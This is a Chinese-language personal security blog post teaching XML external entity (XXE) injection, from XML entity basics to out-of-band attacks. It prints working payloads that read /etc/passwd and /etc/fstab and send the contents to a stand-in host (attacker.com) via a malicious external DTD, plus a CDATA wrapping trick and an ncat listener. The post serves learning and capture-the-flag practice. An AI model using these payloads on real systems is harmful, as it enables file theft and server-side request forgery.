V3D4's Blog

安全技术记录/分享/交流

0%

xml实体注入(xxe)

这几天突然想了解一下什么是xml实体注入,于是在b站看到了这个视频,讲的挺不错的,但理解还不是很深刻,所以写下这篇博客记录一下。

基本上大致知道了如何去利用xml实体注入,所以为了节省时间(也还是懒),就照搬一下这位师傅的这篇博客,加上一些自己的看法,写下这篇博客

一、什么是xml

XML(可扩展标记语言)与HTML类似,但HTML与数据表示有关,而XML更多与数据传输、存储有关。

先来看看xml文档格式:

1
2
3
4
5
<?xml version="1.0"?>  //元数据,版本为xml解析器解析的版本
<Person>
<Name>John</Name>
<Age>20</Age>
</Person>

<Person></Person>为根元素,有且仅有一个

需要注意的是,标签对大小写敏感,前后标签必须一致,如<read></Read>则是错误的,必须<read></read>

< ,> ," ,' , &等符号不被允许直接出现在XML文档中,因为xml解析器会搞不清这些符号是数据还是标签

1
<Age>20 < > & " '</Age>   //×错误

那么这个时候就需要Entity来解决这个问题

二、关于Entity实体

Entity(可用实体):一种简单的存储单元,好比xml的变量,可以对它进行赋值,并在xml文档的不同地方对它进行引用。

实体(Entity)在xml文档中的文档类型定义部分(DTD)被单独定义描述。

举个栗子:

1
2
3
4
5
6
7
8
9
10
11
1 <?xml version="1.0" ?>
2 <!DOCTYPE Person [
3 <! ENTITY name "John"> //定义了一个存储单元,这个简单Entity名称就为name,将john放入了name这个实体中
4 ]>
//换行写是格式规范,如果将其写成一行如下,可以看到括号都是匹配的
//<!DOCTYPE Person [<! ENTITY name "John">]>
5 <Person>
6 <Name>&name;</Name>
//用&符号调用实体name才能成功执行,也不要忘记最后的分号
7 <Age>20</Age>
8 </Person>

2~4行代码就是通过DTD方式创建了一个ENTITY告知xml解析器这是一个DTD定义类型

Entity分为三类

①一般实体General(通用型实体)

1
2
3
4
...
<!ENTITY name "pwn"?>
...
<hello>&name;</hello>

通用型实体就是上面举的那个栗子

ps:原博客这里写错了,我改了下

②参数实体Parameter(必须预定在单独的DTD区域)

1
<!ENTITY % outer "<! ENTITY inner 'John'>">

区别貌似就是定义实体名字的时候要加%,还有参数实体可以用一个Entity给另一个Entity赋值,也由于这个特性,在xxe中挺有作用的,可以想办法套娃绕过之类的

③预定义实体Predefined(某些特殊符号的一组预定义数值集)

1
<hello>&#x3c;</hello>  // <的十六进制表示

&#x3c;代替<就可以避免xml解释器报错了

三、外部实体(Xml External Entity)

实体(Entity)有哪些用途呢?

  1. 存储指定数值;

  2. 从本地文件、从远程网络中调用相关数据,作为后续实体引用;

那么这就会出现问题

我们先来看看外部实体的一个实例,来帮助我们了解其工作机制

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE XXE [
<! ENTITY subscribe SYSTEM "secret.txt">
]>
<pwn>&subscribe;</pwn>

SYSTEM 关键字让xml解析器知道该实体是一个外部实体,需要xml解析器去获取 “ secret.txt ” 其中的外部资源,并把它存储到内部实体 subscribe 中

需要注意的是,如果secret.txt中的内容如果包含<,>等xml语法中的标签,那么xml解析器就会报错,也就不能读取其中的内容了,至于如何解决这个问题,后面会提到

<pwn>&subscribe;</pwn>表示内部实体subscribe会后续在<pwn>标签中被调用

secret.txt其中的内容被赋值到了内部实体subscibe

其中的SYSTEM后面可以跟URI,即STSYEM “URI”

这里支持有效的URI(文件、http、ftp和其他协议形式内容,如SYSTEM "http://127.0.0.1"

四、外部实体注入 (XXE)

分类:

  • 带内数据 in-band (就是我们上面举的外部实体的那个栗子,将内部的数据带出来,应该也是比赛最常见的,直接读取/flag之类的)

  • 基于错误 error-based (有点像盲注,解析结果没有其他,只有一堆报错,就类似报错注入吧)

  • 带外数据 out-of-band(真正的盲注,无任何回显,需要借助服务器监听外带数据)

按照视频里讲的,这里再主要介绍一下OOB XXE,下面的这些解释也是完全按照视频的原话来的,可能讲的也不太清楚

OOB XXE(盲注XXE)

当我们遇到这种情况时,一个web应用程序,它可以解析XML输入,但是却无任何输出响应,必须用带外请求把目标提取出来,为了测试这种盲注XXE,我们可以用非文件路径的外部实体来请求这里的web应用。

例如,在存在xxe漏洞的地方,输入以下代码

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE XXE [
<!ENTITY subscrible SYSTEM "http://attack.com:1337">
]>
<pwn>&subscrible;</pwn>

在攻击机attack.com主机上监听1337端口

1
ncat -lp 1337

可以看见有反应

XXE ——————> server ———————->attack.com

受害端有效解析了xml,正尝试获取我们在attack.com上的资源作为实体引用,这样我们就能以受害端的身份发起请求了,这就是SSRF

五、加载外部DTD

DTD并不是xml数据的一部分,它们总是再根元素的定义之上,所以DTD也可以像实体一样,从外部加载,如下

1
2
<!DOCTYPE Pwn SYSTEM "external.dtd">
<Pwn>test</Pwn>

程序解析时,解析器将从外部DTD中提取并解析内容,这种机制可以构造结构良好的xml文档,因为它将定义和数据部分区分了开来,但同时也带来了更加广的攻击面

上面的例子中调用的external.dtd内容如下

1
2
<!ENTITY % name "JEF">
<!ENTITY % outer "<!ENTITY inner 'My name is %name;'>"

再来通过一个例子更加直观的来看看xml解析器解析的过程

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE Pwn [
<!ENTITY % parameter_entity "<!ENTITY general_entity 'PwnFunction'>"
%parameter_entity; //参数实体只能在当前DTD中调用
//等效于<!ENTITY general_entity 'PwnFunction'>
]>
<pwn>&general_entity;</pwn>

这个例子中,我们定义了一个参数实体parameter_entity,而这个参数实体的值,又是通过另一个参数实体general_entity来定义的,这种方式我们上面也讲到过

再在DTD中调用%parameter_entity;即等效于<!ENTITY general_entity 'PwnFunction'>

最后在根元素中调用&general_entity;即完成了整个流程

接下来再看一个盲注XXE的具体例子吧

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE XXE [
<!ENTITY % passwd SYSTEM "/etc/passwd"
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">
%wrapper;
]
<pwn>&send;</pwn>

上面这个例子中,读取了/etc/passwd中的内容,通过http的方式将数据带出,%wrapper就相当于<!ENTITY send SYSTEM 'http://attacker.com/?CONTENTS_OF_PASSWD'

但如果直接使用上面这个例子,那么肯定会报错,因为xml的规定中,不能在实际的标记语言中在调用实体参数,即在http://attacker.com/?%passwd;直接调用%passwd这一步是错误的,但可以在同级别中被当作标记语言调用,即%wrapper;是正确的(挺奇葩的规定)

但是上面的规则仅限于内部DTD,所以为了上面这种情况的发生,就可以用外部DTD来绕过它,如下

1
2
3
<?xml version="1.0" ?>
<!DOCTYPE data SYSTEM "http://attacker.com/evil.dtd">
<data>&send;</data>

其中evil.dtd中的内容就是之前读取/etc/passwd的部分,如下

1
2
3
<!ENTITY % passwd SYSTEM "file:///etc/passwd"
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">
%wrapper;

这样,就成功读取到了/etc/passwd中的内容到我们的攻击机上

六、当读取的内容中有xml语法标签时

还是用五中的例子,如果我们换成读取/etc/fstab中的内容时,会发现读取失败了,因为其中有xml语法标签<,>,如图

1

那么要如何去读取数据呢?这里就要用到CDATA

CDATA表示字符数据,它是一种特殊语法,在CDATA开闭标签中的文本部分不会被XML标记语言解析处理,也就达到了我们的目的,它的格式如下

<![CDATA[ <text> ]]>

如果直接写在一个DTD中,也会报五中一样的错误,所以这里也需要用到加载外部DTD的方法,如下

1
2
3
<?xml version="1.0" ?>
<!DOCTYPE data SYSTEM "evil.dtd">
<data>&all;</data>

其中evil.dtd的内容是

1
2
3
4
5
<!ENTITY % file SYSTEM "file:///etc/fstab"
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % wrapper "<!ENTITY all '%start;%file;%end;'>">
%wrapper;

总结

其实xxe这部分内容也不是很多,视频也就20分钟左右,但主要是从来没了解过,这次算是了解的比较清楚了。最近老是偷懒,又感觉没了学习的动力,博客也更新的少了,这样下去不行啊,得赶紧调整状态,落下了就是落下了,还是很难受的。